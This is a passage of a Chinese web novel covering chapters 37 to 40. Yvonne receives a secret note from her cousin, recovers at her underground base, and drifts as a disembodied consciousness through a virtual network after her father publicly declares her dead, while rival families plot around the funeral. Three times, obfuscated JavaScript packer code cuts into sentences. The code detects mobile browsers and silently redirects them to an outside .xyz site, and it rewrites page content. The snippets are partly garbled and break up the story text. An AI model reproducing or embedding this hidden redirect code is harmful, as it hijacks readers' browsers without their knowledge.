那个末日丧尸世界的灾难是研究塔制造出来的,目的,恐怕是为了研究“人造蓝金”。现有蓝金资源不足以供给人类开展更长久更全面的星际开拓活动,寻找新能源的行动久未见成果,分析蓝金成分人为制造可再生的类蓝金物质做替代品,是很合理的研究方向——但研究塔居然将人类作为培育的产床,让另一个世界全星球都沦为实验品。 科学的进步难以避免牺牲,人类进步的脚印下有无数实验动物的尸体,医学上也有无数大体老师、实验志愿者的贡献,但无论人们如何辩论伦理的边界,也不能合理化践踏生命的行为。抛弃对个体生命的尊重的同时,也是抛弃身为研究人员面对科学的谨慎和自尊,只是以进步为借口,满足扭曲的猎奇心态罢了。 研究塔将另一个世界不知情的无辜者们牵连进实验里,试图将同类的生命转化为能源,这种行为不能得到原谅。 以诺一无所知吗?他几乎全身心地扑在研究塔的工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645662|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,这些不人道的实验里,他出了多少力? 能将另一个世界的星球改造为实验场,研究塔肯定掌握着更成熟的穿越技术。她的体质与这项技术有多少关系?以诺知道她的特殊,是因为这些也是?…… 突然有人从后方靠近她。 这种时候还有人来找她麻烦?别想她会留手。 伊冯朝来人反方向避开一步,转身看到的人竟然是刘念。 他还是那副面部神经有问题的样子,没什么表情,被发现也毫不尴尬,用漆黑的眼睛直视她。 正好,她想揍他很久了。 伊冯不等刘念开口,揪着他的领子扯到小巷角落就上拳头,拳打脚踢一番,她已经有些喘气,退开两步看着刘念。 刘念不是没挣扎反抗,但总是动作做到一半就强行止住,像是硬逼自己接受伊冯的殴打。 可恨她现在身体不舒服,使不出力,拳拳到肉也不见刘念脸上挂彩,连鼻血都没打出来。 “什么意思?”刘念这仿佛让着她的姿态让伊冯火气不减反增,“不痛不痒,不屑还手?” 刘念摇头。 伊冯:“说话。” 刘念指着自己的嘴巴,还是摇头。 伊冯没忍住再踹了他一脚:“你和我说过话。” 刘念掏出一张折叠整齐的纸递给她。 伊冯不想接,也不想继续浪费时间和这个有装哑怪癖的人纠缠,转身就走,刘念又跟在她身后。 她甩出风刃将刘念脚边地面劈裂,说:“我没空和你玩猜谜游戏,要么直说你的目的,要么滚。” 一团黑雾漂浮在她眼前。 刘念慢慢转动着手腕手指,确保伊冯看得清黑雾在随着他的动作变化形状。 伊冯认出来了,这是鬼兵的鬼雾。 伊冯问:“你是‘鬼’?” 刘念点头,黑雾钻入他的袖子,他又把那张纸递给伊冯。 伊冯这回接过了纸,刚将纸打开,忽然感受到轻微的空气流动,抬头刘念已经不见踪迹。 在元星空港她见过鬼兵出没的样子,那黑雾似乎能对局部空间造成影响,刘念也是这样从布莱恩小队的飞船上消失的吧。 她低头看纸上的内容,是几行墨迹浓重的字,字迹朴素得像标准印刷字体:我受体质限制,不可随意表达;不要靠近研究塔,她们为你预备了圈套;我母亲是你母亲的妹妹,如果你想问她什么,她在杜林星。 她刚看完,字便溶解化开,整张纸散为黑灰,在空气中消失无痕。 信息量有点大,伊冯扶墙消化了一会儿,还是觉得头晕。肯定是她现在太虚弱了,大脑供血不足。 她和刘念长得完全不像,一点看不出她们能有这么近的血缘关系。刘念肯定也用了假脸。 刘念说的体质限制是什么?因为她们是近亲,所以都有些奇特的体质吗? 研究塔为她准备了圈套,这又是什么意思,研究塔也在找她?为了什么? 杜林星,那是罗贝尔的领地,为什么是在那? 每个关键词都和她切身相关,倒像是刘念暗中调查她许久,针对她设了个套。无论真假,都能说明刘念在暗中观察调查她。 光冲刘念是鬼兵这点,就算是圈套她也有兴趣去探个究竟,但不是现在。无论是去研究塔还是杜林星,她不会在现在这种身体状况下冒险。 伊冯买了几箱药物,购入些机械原材料,顺带补充一批消耗品;启动寄存的飞行器,坐在久违的她的专属驾驶位上做出干扰器,返回栖止。 38.暗礁 伊冯有很长一段时间没有去想有关她母亲的问题了,她自己有太多要忙的事情。在布莱德星没找到人后,她就没认真计划过要怎么见到罗莎蒙德。 她们母女间的唯一一次相处,以她被药晕做结尾,她无法释怀罗莎蒙德那浓烈的恨意,想不到从以诺那问出原因的方法也抗拒那么做,只能把她们三人的恩怨打包丢到脑后。 刘念给了她一些超出她预想的信息,让她又翻出所知的关于罗莎蒙德的一切,却越梳理越觉得违和。 她认定罗莎蒙德是自己生母的理由是什么?她们极相似的外貌,一张被以诺藏起的照片,她和罗莎蒙德正面接触后,以诺未曾否认她们的母女关系。 这些“证据”如今想来,都不够牢靠。 梦中见到的自称是她母亲的黑发女人,和罗莎蒙德又有多大区别呢,在她拿到她们的基因信息进行匹配前,不都是一面之词。 如果她的特殊与研究塔有关,罗莎蒙德就更像个混淆视听的烟雾弹。 罗莎蒙德的恨意里带着愤怒和恐惧,她害怕伊冯的到来,她说她没有拒绝以诺的余地,自认为俎上鱼肉。以诺那么快从罗莎蒙德那将自己抓回去,只怕最初的离家计划完全在以诺预料之内,甚至是他暗中有意推动。为了什么呢,让她对软弱的生母失望,在外出遭遇的危险中退缩,从此安分乖巧地被他软禁?他之后锁住她的行为又与这番算计矛盾。 “注意,即将在预设点降落。” 自动驾驶的系统发出提示音,伊冯回神,关闭自动驾驶,手动操纵飞行器穿过栖止上空浓密的黄沙,低空飞进岩群中,将飞行器停进一个人造坑洞中。 她打开通讯器,喊道:“能动的都过来搬东西!” 那头很快响起一个欢快的声音:“老师!你回来得好快啊!有给我们带礼物吗?” 然后是一个发音生硬、每个字都间隔一致的人说话:“老师工作辛苦了我马上过去。” 伊冯露出怀念的笑,她给R装了人造声带,花了不少功夫教她用喉咙发声,虽然目前还没有断句的意识,但继续多和人说话交流,总能纠正过来。 至于另一个声音…… 她走下飞行器,打开屏蔽器,这样从外面看来这里也是岩壁,也不会被探测器检测到。洞内的墙被打开一个门,穿着白大褂的少年探头出来,看见伊冯就两眼放光地扑过来。 伊冯伸手架开她,仗着手臂比她长,把人挡在一臂远的位置。看着少年的穿着,伊冯皱眉:“安琪儿,我说过几次?不许把实验服穿出实验室。” 安琪儿脑袋一缩,握住伊冯摁着她脑门的手贴在脸侧,谄媚地笑说:“我听到老师回来,迫不及待赶过来,忘了换衣服嘛~” 伊冯抽出手,在她脑门上轻弹一下,懒得拆穿她:“我买了些补给,赶紧搬,很多。” 安琪儿伸头看了眼飞行器里装到载重极限的十几箱东西,吐吐舌头:“我的奶奶,怎么买了这么多?” “我这次受了点伤,要在医疗舱里泡一段时间,有段时间不能出去采购了。让你们去和米伽那个奸商做生意肯定要被坑。”伊冯说着踢了安琪儿一脚,“快去,R都已经搬走两箱了。” “她有老师做的身体,力气是我的几十倍哎!我这柔弱的十指做这种粗活很勉强啦~”安琪儿嘴上撒娇抱怨着,还是听话挑拣着比较轻的箱子,抱着走入门后的通道。 伊冯跟在她后面,走过通道,进入她设置在地下的基地。这里不是最初见到R的那块地下空间,而是往城外延伸另挖了一块,这里四周都是那种可以屏蔽探测的黑色矿石,很难被发现。她嫌在城内进出麻烦,地下空间又日渐不够用,于是把空间扩到了城外。 至于这个一口一个“老师”假殷勤爱撒娇的安琪儿,就是那个偷到伊冯身上、被抓还耍无赖的小偷。伊冯对于安琪儿能从她身上摸走东西耿耿于怀,把人扣下给自己当陪练,包吃包住。 安琪儿对于这种好事当然没有拒绝的理由,但没几天就受不了伊冯的勤奋和陪练中难以避免的磕碰疼痛,又不想失去这个不愁温饱的地方,装作对伊冯实验室里的事有兴趣,觉得一天只是看着几台机器,把这个罐子里的东西放到那个瓶子里,一定很轻松。伊冯正好也看中她手指灵活,可以做精细操作,就让她进了实验室。 伊冯担心过安琪儿又会嫌枯燥要偷懒,结果安琪儿在这块有些天赋,一教就会,越学越兴奋,自说自话地以伊冯的学生自居叫她老师,R也开始跟着她这么叫。 她倒是不介意有两个学生,就由她们了,她确实教了她们不少东西,不算虚担这个名头。 伊冯在R和安琪儿搬东西的间隙把全身清洗干净,贴上面具,更换终端手环。伊冯留着旧手环只是为了有利比逖身份信息的芯片,其余部件早被她掏空利用殆尽了。 等二人把搬进来的东西收纳好,伊冯交代她们在她泡医疗舱时要做的事,尤其别让莎丽靠近实验室,然后站进舱内。 “等一下老师,这次真的没给我们带礼物啊?”安琪儿拉住伊冯,摇晃着手讨要手信。 伊冯下巴往卧室的方向抬了抬,说:“放在你们房间门口了。先说明,不是值钱的东西,别太期待。” 安琪儿欢呼着跑向休息区,R也举起手发出“哇哇哇”的声音跑过去。 伊冯看着她们的背影微笑,戴上耳塞鼻塞,将呼吸器含在口中,合上舱门,启动机器注入医疗液。 微黄的透明液体沿着舱壁流下,水位慢慢升高,直到淹过下巴,伊冯闭上眼,等待药液没过头顶,全身放松,整个人悬浮在药液中。 药液中有助眠成分,伊冯在手环上摸索,进入内网。她可不想几天时间光泡着睡觉。 漆黑的视野被白色点亮,彩色粒子组成确认登入的信息界面,伊冯抬起内网为她重构的手臂,点中“确认”。 白光涌向她,拉扯出各种颜色,内网由数据构成的街景在她面前展开。 缤纷的色彩中灰黑的比重突兀地增多,线条扭曲变形,黑白的雪花点带着杂音扑住她的感官。她忍不住闭眼捂住耳朵,但这不是现实世界,那些故障的窗口依然在眼前闪烁,噪音越加杂乱尖锐。 她感受到疼痛,又在下一瞬麻木,忽然失去了实感,虚拟形象没有传输反馈,她找不到自己的身体,意识被卷入错乱的数据流中起伏飘荡——淹没。 阿吉斯的主宅建成多年,在光照下古典气息浓郁,彰显着这个传统名贵家族历史悠久。但现任家主以诺·阿吉斯喜欢让这栋古宅陷在阴影中,入夜不开主灯,只靠小灯提供一些勉强视物的光亮。 外出办事归来的管家提着照明灯脚步匆忙,路过花厅时瞥见一个漆黑的影子,猛地停住,确认站在那的人是以诺后,她关闭照明灯,走近又在三步距离外停住。 她恭敬地低下头,汇报对方交代自己的任务结果:“老爷,伊冯小姐的个人账户已经注销了。” 影子的手抚过盛放的玫瑰,昏暗的光线中玫瑰的红异常鲜明,管家不敢多看,把头垂得更低。宅里的人换了一批,包括她在内都是从分家调来的,过去在宅中工作的人去向不明,而那些家主亲自栽种的玫瑰下是否有什么特殊的养料,没人敢去确认。 以诺摩挲着玫瑰,稍一用力,汁液便从鲜嫩的花瓣中渗出染在他的手上,他着迷于此,扯下花瓣再揉碎,最后把花整朵握住碾碎,鲜红的液体从掌心溢出,将他的手浸红。 他把碎烂的玫瑰随手丢在花丛下的泥土里,说:“联系媒体,下周公告小姐的死讯。葬礼在下月举行。” 管家应下,又等了一会儿,见以诺没有别的事要交代,动作小心地离开花厅,走出一段距离才将照明灯重新打开。 她从前还在分家做事时,曾见过以诺几面,那时他给她的感觉还没如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她只在阿吉斯内部的影像资料和主宅悬挂的肖像画上见过伊冯的样子,不知道她是什么样的性子,能力如何,但以诺宠爱独女这件事阿吉斯家有谁不知?这样的孩子,也会被放弃吗?如果阿吉斯真的决定抛弃那个孩子,那个孩子今后会如何呢? 她停下脚步,抬高手里的照明灯,照亮墙上的画像。不知以诺出于何种目的,将伊冯的画像挂在洛佑的画像附近。 或许不是阿吉斯家放弃她,是她们选择了丢掉阿吉斯。 与吝啬开灯的阿吉斯主宅不同,今天的研究塔在深夜依旧灯火通明,在元星的夜晚投下一圈亮如白昼的光。 在研究塔的某一层的某一个实验室中,身穿白色研究服的研究员蹲在设备前,布满血丝的眼睛紧盯着屏幕上的每一条信息。 和塔内所有宽敞舒适的实验室不同,这里与其说是实验室,更像是杂物间,仪器之间像拼图一样紧贴,力求在狭小的空间里塞入最多的设备,甚至没能留下进出的通道。 天花板上突然打开一个口子,同样穿着研究服的人从天花板钻进来,却不下去,靠反重力装置在天花板上行走,在堆到高处的机器上进行操作。 “我好像见过你的脸。”地上的那个突然说,“太冒险了。” 天花板上的那个说:“一张在五十年前没被清除的面孔,或许才是最安全的呢?唉,我也没办法,当时不是塔内招新的时间。” 天花板上的研究员丢下两根营养棒,也分了些注意力在对方脸上,看了一会儿后她止不住地发笑,说:“你还要继续用这张脸?怎么,打算这样子去阿吉斯的那个伊冯面前晃一圈?你在那里用的名字是什么来着,曾禾?” 地上的研究员撕开营养棒包装,咬着食物说:“伊冯是个热心肠的好孩子,她会愿意为了全人类的利益作出贡献的。” 天花板上的问:“你就那么确定是祂?” 曾禾说:“就算不是,祂选择了模仿伊冯·阿吉斯的外貌,用她的名字,她的存在就一定被赋予了特殊的含义——她会成为我们重启‘开源计划’的钥匙。” 39.幽灵 失去身体的感官反馈却依然有被抛上抛下的失重和眩晕感,这种体验很奇妙,有些像她在梦里被风卷走那时,伊冯很快就适应了被数据海浪带着飘荡的活动方式。 虽然没有身体了,但还存在视觉,也能转换视角,只是看到的都是以极快速度流动的乱码,唯有靠看到的乱码内容差异来判断位置变化。 内网怎么会有怎么多无用数据乱窜,就算是运算冗余,怎么会和登入中的她撞上? 伊冯更加仔细地分辨那些乱码的内容,看她被识别成了什么。虽然单条是无意义的乱码,但多结合几条就能看出原编码是怎么被打乱的,再倒推出原码后,便能看出这些是被清理的“非法登入”数据。 她怎么会被当作非法登陆?她这次用的是自己的账户,账户状态健康得很。她在这个账号上唯一能扯上“非法”的就是和二号的交易,但她都把痕迹清理干净了才下线,就算二号那边出问题了也不该牵连到她。 不管是什么原因,得先脱离这些数据流,她可不想亲自实验被当数据垃圾清理了会有什么后果。 她现在应该是团数据集合体,既然能转化视角,应该也能移动整个集合体,只是没有感觉反馈不知道要怎么动。现在能自如运用的只有视觉,伊冯抱着赌一把的心态,盯住一条编码,想着要靠近些看——编码在她眼前放大,她确实靠近了。这方法唯心了些,就当是因为她现在也是团数据,产生的想法生成了编码得以实现吧。 靠着控制“视觉”左冲右撞,伊冯在乱流中拼出了一个“登入前端”的指令,把自己塞进指令生成对象里。 眼前杂乱的数据流终于被乍起的白光盖过,水彩画风格的建筑在眼前漫开,各色皮肤发色的用户虚拟形象是其中行走的色块。 这幅光景也久违了。伊冯才想松一口气,却发现她依然做不到呼气、闭眼之类的模拟实体操作。她放低视线,没看到自己的身体,试图动手、抬脚,脑中的指令也找不到施行对象。 她正整理着思绪,前方一个虚拟形象径直走向她,穿过她,没有任何阻碍地继续行走着。 她对于别人是无形且不被观测到的吗? 她还是能像在数据乱流里时一样随意变动视角,于是驱动“视觉”往内网中央大厅的方向去,那里有对违规账户进行公告的版块,如果她的账户真的有什么问题,她应该能在那里找到有关信息。 没有了“身体”,移动速度却比以往在内网时快了许多,她才看到中央大厅的轮廓,下一秒便移动到大厅入口。伊冯回望之前的位置,很快就想通了是怎么回事。内网用户数量庞大,提供接近真实感官的虚拟形象,一是为了“真实感”的噱头,二便是靠这种方法降低交互频次,为服务器减压。人对身体每个部位进行操作花费的时间都要远慢于一串数据的传输,内网虽是由数据构成的世界,却靠“真实世界体验”的设计让用户意识不到被降速,满足于用现实世界一样的速度在这里行走活动。 她如今意外不能用虚拟形象活动,反倒脱离了种种限制。 只是她现在这样要怎么操作前端交互界面呢?伊冯望着违规账户处理公告版块,滚动的信息许久都没见重复的,等在这里看完也太考验她从来欠缺的耐心了。真不知道一天里怎么会有那么多人违规。 伊冯试图把在数据乱流里用过的招数再使一遍,把视角往“搜索”键上怼,直到两个字在视野中放大到能看清像素块了,还是没点开搜索页面。 “真的假的?” “阿吉斯自己登的新闻,还能有假?” 提及阿吉斯,伊冯自然分了些注意去听,新闻版块那聚了不少人,讨论的声音越来越多,不好分辨说的什么,她暂且放下和违规公告较劲的事,飘到新闻区看阿吉斯能有什么值得上新闻的事。 竟然是一则她的讣告。 讣告内容非常简短,只模糊说她因病去世,葬礼于下月择期举行,别的信息一概没有。作为一个占用公共信息高调发布的讣告而言,与以诺一贯强调的“阿吉斯的脸面”可完全不匹配。 以诺多半是耐心告罄,让她主动回去,葬礼日期就是最后期限。 她脑子被那些数据乱流冲坏了才会想回去。 又一则新闻刷新,与她的讣告并列紧邻。内容也与她有关,是阿吉斯现任家主宣布将选择一名分家的孩子过继到主家,成为新的继承人。 聚集在此的人群发出更多嘈杂的讨论声,分散在厅内各处的人也调出个人界面的查阅新闻。 猜想各大家族的继承人人选是大小论坛的常驻话题,豪门八卦不论真假都不缺关注度。只是阿吉斯家从以诺担任家主以来,便确定了由独女伊冯为继承人,伊冯本人深居简出,人际关系简单,对于大众而言没什么讨论乐趣,自然少有人提及。没想到如今一下出了两个大新闻,瞬间点燃了大众的讨论热情。 一时间惋惜的、事后诸葛的、阴谋论的,各类围绕阿吉斯家的讨论都拥挤地挤上内网论坛首页,在中央大厅的浏览版上飞速刷新着。 而伊冯唯一的感想是:她在以诺心里有那么没出息吗? 虽然有点不舒服,但她还不至于为了抢继承权就跑回去。如果她想要,多少个分家过继来的都不够格和她争。 出来这么久,她发现自己完全不想家,对于生母从来没有音讯这件事也产生了认同感,谁想回到那个活墓里。 不过这么一来她就知道她的账户是怎么回事了,“伊冯·阿吉斯”现在成了死人,死讯又被广而告之,个人账户当然要走程序注销,无法再登入内网。 异常之处在于,她被留在内网里了,无法真正登入,也无法登出。她从未听闻有活人的意识被困在内网的先例——意外注销终端的先例不少,意外注销终端同时正处于登入内网状态的人也有几千——以内网用户的人数,这是个极其小的比例,而这些人只是被强行登出罢了。 她既然没被系统识别为用户,没有内网提供载体,又怎么能在这里活动呢?她之前以为现在的自己是一团数据,但内网没有支持她登入,这团数据从何而来?她现在究竟是以什么状态存在于这里? 现在存在于内网的,只是她的意识吗?人的思维要怎么脱离数据在网络中活动,人的“思想”与编码有相似的结构吗? 她的意识正独立于身体存在于某个空间内——伊冯想,相对于她的身体所处的世界,这个内网是不是也相当于“另一个世界”?这与她会进入另一个世界的体质有关吗? 这样的特殊,当然会让她联想她的“穿越”体质。 伊冯打量着这个完全由数据构造的虚拟世界,如果将这里看做物理上真实存在的某个世界,就可以用她的体质来解释这一次的特殊。 如果这是一个真实存在的世界,构成这个世界的基本元素单位是什么,这里存在生物吗,概念上自古以来就有学者提出非碳基构成的生物假说——伊冯一瞬间就让自己穿过人群到达视线极点的建筑顶端:如果这里存在非外来的生命,会与她现在的状态有相似之处吗,是以无法被人感知的未知元素组成的吗? 她俯视着下方小小的人,又看着上方不知边际的白色天顶,最后将视线持平,看着眼前飘起的彩色颗粒。 从第一次进入内网,她就对建筑顶飘飞的彩色粒子很感兴趣。就算这只是视觉设计,她也想靠近些看看它们是什么形态。 她看着变幻颜色从建筑边缘脱离的粒子,刚脱离时是正六面体,飘得越高形状越不稳定,她跟着其中一粒飘高,实在好奇变形中的粒子硬度如何。突然粒子像被捏了一下出现两个指印,而她也有了它有弹性的认知。 伊冯愣了一下,集中注意力,想象自己还有手,抓住那块粒子——她看中的粒子停在她眼前。 她的意识能对这里的物质造成影响! 伊冯趁热打铁,将抓住的粒子按想法戳圆捏扁,很快,即使没看到双手,她也能靠想象让十指自如地改变粒子的形状。 她现在没有身体,速度已经不受限制了,是不是也能不止有两只手? 伊冯捏住粒子往两边扯,然后盯着没被捏住的部分,想象再有一只手扯动它——这种简单的想象果然被实现了,再接再厉继续在想象里加手——最后是粒子的大小不够她挤下更多的手,于是她又将每只手都想象得更细、模糊掉没用上的三根手指,直到粒子先一步被拉扯到极限碎开,她还能继续给自己加手。 这也太有趣了! 伊冯丢开碎成像素点的粒子,飘到建筑上空,去捕捉那些粒子,顺带再将自己的下肢也想象成细长的数条一起抓粒子,想通过这种小游戏看她最多能同时操纵多少肢体。 飘起的粒子都被她拦截住了,上空一片白净。伊冯自己都有些意外,同时继续生出新的肢体抓住新生成飘起的粒子。 只是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658070|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样也有点无聊,伊冯将已经抓住粒子的肢体互相靠近,把抓住的粒子捏在一起揉成团,空出来的肢体再去抓新的粒子。 捏的粒子体积越来越大,但伊冯对具体要捏出个什么没有想法,只是让每个肢体都做点不同的动作,最后让这团粒子以一种完全没有规律的状态在半空变化。 偶然抬头望向上方的网民看到那团颜色绚丽的东西,拉住身边的同伴:“那是什么?那边要有新板块了?” “原来那些东西有意义啊?我还以为就是为了好看——内网终于要开放空中区域了?” “会有飞行功能吗?内网应该能做到不靠机器辅助飞行?” “很多全息游戏已经做到了啊,内网现在开放这种功能没意义吧?” “说不定空中区域是住宅区呢?日常出行就能飞的感受完全不一样啊。要是真有线上住宅,我就不下线了,在内网生活多舒服。” “但那块好像是游戏区?应该还是什么游戏做活动吧?” 附近看到那些被聚集的粒子的人有不少因为好奇停下脚步,看着它变化。 伊冯习惯了一心二用边拦截粒子边捏后,没一会儿又觉得无聊,转动视角想新玩法,注意到下方汇聚的人群。 她不会被看到,但这些粒子确实挺引人注目的。如果她现在的样子能被看到,会被当作什么呢,一只大水母? 伊冯松开粒子们,飘离建筑,要是引起注意被排查到她这个“入侵物”不知道会有什么麻烦。既然她能影响这里的物体,就能找到方法下线,内网现在所有权在研究塔,被内网管理者发现她的存在可没好处。 粒子不被阻拦后继续向上飘去,大团的粒子似乎因为具备更大的质量而获得更多的加速度,比小粒子更快更急地冲向上空——而后撞上什么,轰然炸开散裂,粒子们坠下,又化开消散,仿佛下了场彩色的雨。 人群发出惊叹: “今天是什么日子?怎么还有表演?” “像烟花一样,那些楼顶的东西原来是做这个用的!” “什么啊,原来不是要开放新区啊,没意思。” “烟花表演也不错嘛,不过怎么只放了一个,究竟是在做什么?” “去看看,可能是新游戏的活动!” 伊冯看着上方:有边缘,比预想的要低。等过一段时间没人注意这里了再去看吧。 她降到行人头顶的高度,把多余的肢体收起,想象自己是个漂浮的圆团,只伸出两个当手的肢体。 伊冯还有个意外发现,自从她变成这个状态,就能看到别的用户的个人界面。在中央大厅看到别人的界面时她没多留意,以为是为了和同伴分享新闻关了私密功能,但在街道上还能看到每个人面前的界面,这就不是个人操作的问题了。 毕竟她现在不是“用户”了,这些对系统透明的信息对她也公开。 伊冯突然看到两人开了私密通道在交谈。私密设置现在对她无效,伊冯无意窥探别人隐私,不过也不想特意避开。 “那些笨蛋,说什么‘今天是什么好日子’,真是不怕惹祸上身。” “内网的管理者不也是研究塔的吗?这是在干什么,故意给阿吉斯家的添堵?这也做得太高调了。” “谁知道呢,我有个远亲是研究塔的,阿吉斯在塔里的人缘似乎不差啊。可能只是测试中的系统不小心放置在前端了?” “阿吉斯家做事的风格,也说不上多讨人喜欢。现在主家都死得只剩一个,得靠分家的撑门面了,不趁这时候搞他是傻子。” 看来她随手搞出的动静又给别人添谈资了。 伊冯伸出触手在离得更近的那人的界面上点动,和她想的一样,她能用这种方法和内网的前端进行交互。 “我的界面怎么自己动了……内网今天怎么回事,真是出bug了?” “嗯?我的正常啊,你再看看?” “现在是正常了……我还是发个报错反馈吧。” 伊冯收好自己的肢体飘开,还是换个地方玩吧,总在一个区域也太方便研究塔的人排查了。 后来,内网论坛中流传起“网络幽灵”的传闻,多名用户表示遭遇了灵异现象,如独自行走时身旁有脚步声、看到漂浮在半空的断手、阅览区无人操作却飞速翻动的书籍…… 伊冯沉迷在内网发掘新玩法时,外面正因为她而引发出一系列事件。 40.葬礼 星盟近来最大的新闻,莫过于阿吉斯的继承人去世一事,各种报道与小道消息传遍星盟,对于那个年轻的继承人的死因众说纷纭。 据说阿吉斯继承人生来就带有绝症,靠阿吉斯的财力和研究塔的科技续命,终于还是到了极限;据说那大小姐曾无法忍受苟延残喘的日子而尝试外出自尽;据说阿吉斯家被诅咒才世代早亡…… 阿吉斯家始终没有正面回应,虽然处理了几批传播谣言的媒体账号和涉及侮辱言论的人,各种猜测和阴谋论依然此起彼伏热闹非凡。 以诺又一次被遇到的人用同情的目光看着,叫住他对他表示毫无意义的安慰。 而她们彼此心知肚明,表达哀悼的人心里只有庆贺。 现在这一个的演技尤其差。 以诺不耐烦地打断对方的长篇大论:“罗贝尔,有话直说,看着你的脸太久只会让我的心情更糟。” “……看来令千金的离世确实对你影响不小,变得如此无礼。” “这就是你要说的?”以诺上下打量罗贝尔,“有空来找我说废话,看来研究塔这段时间的繁忙影响不到你,不如把位置让给懂得为研究塔忙碌的人。” 罗贝尔的表情扭曲,已经绷不住假意的和善,要不是还需要阿吉斯支持他的佣兵大赛项目,以为他会想浪费时间和他说这些场面话吗? 他从牙缝里挤出柔和的语调:“研究塔的工作对你已经是重负,让你无暇照顾好唯一的宝贝女儿。你在研究塔的工作固然重要,可阿吉斯没了继承人,守住研究塔的位置又有什么用?作为补偿,我会代劳你的那份工作,你不如趁此机会休养,选个体面的妻子。比起分家的孩子,还是自己的亲骨肉更可靠吧?” “罗贝尔家难道想和阿吉斯家做亲家了?” “呸!谁要和臭老鼠阿吉斯!——” 罗贝尔下意识反驳,只见以诺嘲弄地看着他。 “是啊,争权夺利互相仇视了无数代的阿吉斯和罗贝尔,恐怕只有一方彻底地消亡才能搁置这份恩怨。” 以诺眼中的冰冷让罗贝尔一时被钉在原地,说不出话,看着以诺走开。 回神的罗贝尔为自己竟然被以诺的气势吓到羞恼起来:快要死绝的可是阿吉斯,行至末路的败犬还想为自己的消亡找个辉煌的墓志铭吗,可笑! 这次的塔顶会议,研究塔依然没给出值得惊喜的成果,罗贝尔逼问研究塔对举办佣兵大赛的确切回复;但与会人员现在的注意力都在阿吉斯闹出的动静上,只想早点结束会议,在给阿吉斯添堵这事上添一份力。 主持会议的研究员关闭共享文件后,座位上的人都没有向往常那样起身离开,而是关切地询问阿吉斯家主继承人的后事处理得如何,葬礼的日期也该定下了。 以诺滑动终端手环,在座的各位家主以及盟会成员都收到一张请柬。 赫连家主打开看了一眼便关了,对着以诺说:“电子请柬?阿吉斯什么时候开始这么不讲究了?” 以诺不回半个字,站起来,从怀里拿出一叠黑色的纸质请柬,放在桌上,而后直接离开。 “呵……”温莎发出一声笑,也出了会议室。 盟会的人给面子取了请柬再走,剩下的人也不想继续面对这一室的面孔,纷纷起身。 以诺·阿吉斯这行为实在失礼,考虑到他失态有在座的人落井下石明嘲暗讽的分,大多人倒都心情不错地去阿吉斯的位置上拿走了请柬。 布朗是最后一个走的,她取走一张请柬后桌上还剩四张,她把那四张也拿起。 以诺已经换了衣服进了研究室,布朗隔着玻璃与他对上视线,示意他出来。 “有事吗?”以诺换了外套出来,站在门边,毫不遮掩被打扰的不快。 布朗将剩下的请柬给他:“我只是觉得把这些丢在哪里不好。” 见以诺收好请柬,布朗问他:“定在一号,是不是太近了?这不会太匆忙吗?” 以诺说:“已经够了,有资格来阿吉斯的葬礼的人不多,埋葬一个孩子,也不需要盛大的舞台和太多观众。” 布朗为他的话哽咽:“我很抱歉……我一定会到场的。以诺,我相信你是个好父亲。” 以诺摇摇头,沉默着回到研究室。 布朗看着他的背影,收起眼泪。 她绕路来找以诺说话,在停车场却遇到了早该离开的盟会书记员。 书记员站在布朗的车旁,故作苦恼地说她来时搭了同事的顺风车,现在同事没空过来接她,希望布朗家主能好心带她一程。 布朗让她上车,交代司机先去盟会大楼后,启动前后座间的隔音板。 布朗说:“盟会私下接触家族掌权人,似乎是违规的?” 书记员保持着微笑道:“只是您好心送我回盟会,研究塔和我们盟会大楼都不算‘私下’的地方吧。” 布朗说:“有话直说吧,还有五分钟就能到盟会了。” 书记员说:“之前星盟整肃军队时,收到一份名单,来源不明,但帮我们找出了不少罗贝尔安插的亲信。” 布朗问:“你们想找到提供情报的人?” 书记员:“我们只是希望对方知道,我们很感激她对盟会工作的支持,盟会很愿意回报对方同样的善意,更希望能成为彼此信任的朋友。” 布朗侧头看她,书记员也正看着自己。 四目相对无言,直到车在盟会大楼前停下,书记员准备下车,布朗才开口。 布朗说:“各大家族把控星盟的时代早已过去,我们希望能与盟会一起,结束这种各自为政的混乱局面,让星盟迈入新的时代,更好的时代。” 书记员欣慰道:“这也是我们所追求的,有了您的助力,我们一定能更快达成目标。” 书记员下车,飞车再度启动,布朗仍未收起隔音板。 她握着自己无意识颤动的手,低声喃喃:“要建立新时代,第一步,就是将旧的、腐朽的,全部摧毁……” 到了请柬上葬礼的日子,印有布朗族徽的飞车进入阿吉斯主宅。布朗家主来得有些迟了,但停车场还未停满,不知是尚有客人未到,还是以诺只邀请了这寥寥几家的人。 塔顶会议后拿走请柬的都没来全,也不见盟会的车。布朗记下那些不属于阿吉斯家的飞车上的标识,放下面纱跟着佣人的指引前往礼堂。她穿着有玫瑰暗纹的黑丝绒礼裙,一枚银色的蝴蝶胸针配在一朵玫瑰暗纹上,面纱上也有玫瑰元素。 